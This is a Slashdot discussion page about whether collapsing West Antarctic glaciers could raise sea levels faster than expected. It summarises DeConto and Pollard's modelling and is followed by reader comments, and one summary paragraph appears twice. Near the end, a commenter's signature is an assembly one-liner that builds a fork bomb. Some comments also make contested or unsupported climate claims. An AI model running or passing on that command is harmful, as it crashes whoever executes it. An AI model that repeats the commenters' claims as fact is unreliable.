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Could Collapsing Antarctic Glaciers Raise Sea Levels Sooner Than Expected? (salon.com)
"We may be headed for an ice apocalypse which could result in the flooding of coastal cities before the end of this century," writes long-time Slashdot reader whoever57. Grist reports on two of the largest and fastest-melting glaciers in Antarctica which "hold human civilization hostage."
There's no doubt this ice will melt as the world warms. The vital question is when... Together, they act as a plug holding back enough ice to pour 11 feet of sea-level rise into the world's oceans -- an amount that would submerge every coastal city on the planet... Each new iceberg that breaks away exposes taller and taller cliffs... In the past few years, scientists have identified marine ice-cliff instability as a feedback loop that could kickstart the disintegration of the entire West Antarctic ice sheet this century -- much more quickly than previously thought. Minute-by-minute, huge skyscraper-sized shards of ice cliffs would crumble into the sea, as tall as the Statue of Liberty and as deep underwater as the height of the Empire State Building. The result: a global catastrophe the likes of which we've never seen... When [land-based ice] falls into the ocean, it adds to the overall volume of liquid in the seas. Thus, sea-level rise.... All this could play out in a mere 20 to 50 years -- much too quickly for humanity to adapt...
A lot of this newfound concern is driven by the research of two climatologists: Rob DeConto at the University of Massachusetts-Amherst and David Pollard at Penn State University. A study they published last year was the first to incorporate the latest understanding of marine ice-cliff instability into a continent-scale model of Antarctica... Instead of a three-foot increase in ocean levels by the end of the century, six feet was more likely, according to DeConto and Pollard's findings. But if carbon emissions continue to track on something resembling a worst-case scenario, the full 11 feet of ice locked in West Antarctica might be freed up, their study showed.
If sea levels rise by six feet, "around 12 million people in the United States would be displaced, and the world's most vulnerable megacities, like Shanghai, Mumbai, and Ho Chi Minh City, could be wiped off the map."
A lot of this newfound concern is driven by the research of two climatologists: Rob DeConto at the University of Massachusetts-Amherst and David Pollard at Penn State University. A study they published last year was the first to incorporate the latest understanding of marine ice-cliff instability into a continent-scale model of Antarctica... Instead of a three-foot increase in ocean levels by the end of the century, six feet was more likely, according to DeConto and Pollard's findings. But if carbon emissions continue to track on something resembling a worst-case scenario, the full 11 feet of ice locked in West Antarctica might be freed up, their study showed.
If sea levels rise by six feet, "around 12 million people in the United States would be displaced, and the world's most vulnerable megacities, like Shanghai, Mumbai, and Ho Chi Minh City, could be wiped off the map."
And thus, conservatism was reborn as shitting on yourself because you can.
This article seems sensationalist. 100 years from now is a long time to predict much of anything, never mind the fact that the article just doubles the worst case scenario the scientists postulate. Carbon emissions won't continue at their current clip indefinitely, since the green revolution will displace our industrial-revolution based fuel sources. Also, any amount of terrain we lose will be dwarfed by the terrain gained from Antarctica, no longer covered in 3 miles of ice.
Then, theres the need to take water off earth. Are we going to colonize the moon, Mars? Thats going to take terraforming on a planetary scale, and 11 meters of ocean-depth seems like a good start.
But yes, lets all click their bait, and cry, and get mad. Then lets go shop at the lowest cost retailer for the lowest cost goods coming out of the most carbon-emitting factories, shipped from half a world away. We just don't care as a society to really do anything about it.
Also, what these articles always fail to mention is that the planet is in an unnatural state, with so much carbon sequestered. There was an evolutionary gap when plants learned to make bark in their ever-escalating war with each other to be the tallest. Fungi took an additional 300 million years to learn to break it down, so a bunch of it got buried as trees fell on top of more dead trees for a very long time. For most of the earth's history, that carbon was a part of the natural carbon cycle. It will be released. By tectonic forces, by us, by upheaval, by deep-living bacteria, it wont stay down there forever.
I'm not suggesting we all rush down there to speed it up any faster than we will, just that we have to think about that, and plan for it, rather than think we can freeze the earth in its current state, which our science has taught us: always changes. Always.
A while back, I made a list of various predictions saying that climate change was irreversible, or soon would be irreversible. The East Anglia climate email leak shows that a lot of climate scientists weren't acting in good faith. We can still accept the science they do, but there is no reason to trust their judgment (and again, the emails provided reason to believe their judgment is poor).
"First they came for the slanderers and i said nothing."
All this could play out in a mere 20 to 50 years -- much too quickly for humanity to adapt.
Humanity can adapt to changes on a far more rapid timescale than this. We don't have to hang around until we evolve gills we just move to higher ground and rebuild. This will involve social and economic upheaval and a reduction in the standard of living on a short timescale but that does not mean we cannot adapt to the change.
Absolutely right. Anyone who tries to claim that global warming is an existential threat is being ridiculous. We will adapt.
The short term adaptations required when sea levels rise in earnest and precipitation shifts between regions will almost certainly include large-scale government intervention to relocate populations, build massive systems of dikes and stormwalls, and engage in large-scale irrigation and fertilization projects to eke agricultural productivity out of newly-poor farmland while trying to turn newly-wet deserts into functional farms, etc. The political unrest that will be created by millions of starving people in less-affluent countries may well require a return to military conscription and militarization of a significant part of the (remaining) economy, to keep the upheaval out. Military force may be needed to disarm the population and suppress rebellions. We'll likely have to nationalize a lot of industries and use eminent domain to take a lot of land from people in the process of relocating and restructuring the population and the agricultural and industrial bases. Expect serious rationing and a major decline in average quality of life -- though you can also expect a massive reduction in inequality as wealth is confiscated for use in attacking the effects of warming.
Yep, if we just let events proceed, we'll find ourselves in a large-scale crisis of the sort that requires organization on a massive scale, which will mandate huge government growth. It will probably even motivate suppressing national sovereignty in favor of a world government. Of course, government being what it is, the power it takes in order to address the problems will be greater than what is actually required. That's what happens in emergencies.
Honestly, although the process will be very painful, the effects on social structure will be a progressive's wet dream. Conservatives and libertarians should be focused now on heading off this disaster, by implementing carbon markets to harness free market entrepreneurialism and innovation to halt and reverse warming before the effects arrive.
Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
Funny how The Science Is Settled when someone points out an effect that would imply climate change is not as bad as conventional wisdom says. However when someone points out an effect that would imply climate change is worse than conventional wisdom says, it's trumpeted as a sign that Things Are Worse Than Thought.
I.e. a bunch of armchair environmental activists doing the reporting are selective in what they report in order to push their agenda. Any story that makes things look better than they are is denounced and the scientists involved are called Deniers. Any story that makes things seem worse than they are is posted all over the media.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
These aren't heated significantly by whatever heat might be trapped by slightly more CO2 -- despite what politicians say, seeing as this whole Environment business has become more of just that, with excuses for taxation and making life more difficult for everyone. Unless you pay extra of course.
Instead, just the other week, there was news about some large hot magma plumes being present underneath the Twaites Glacier and other nearby areas, and that is what is heating up this ice. So it may still break out and put a lot of water into the ocean but for different reasons.
SIGBUS @ NO-07.308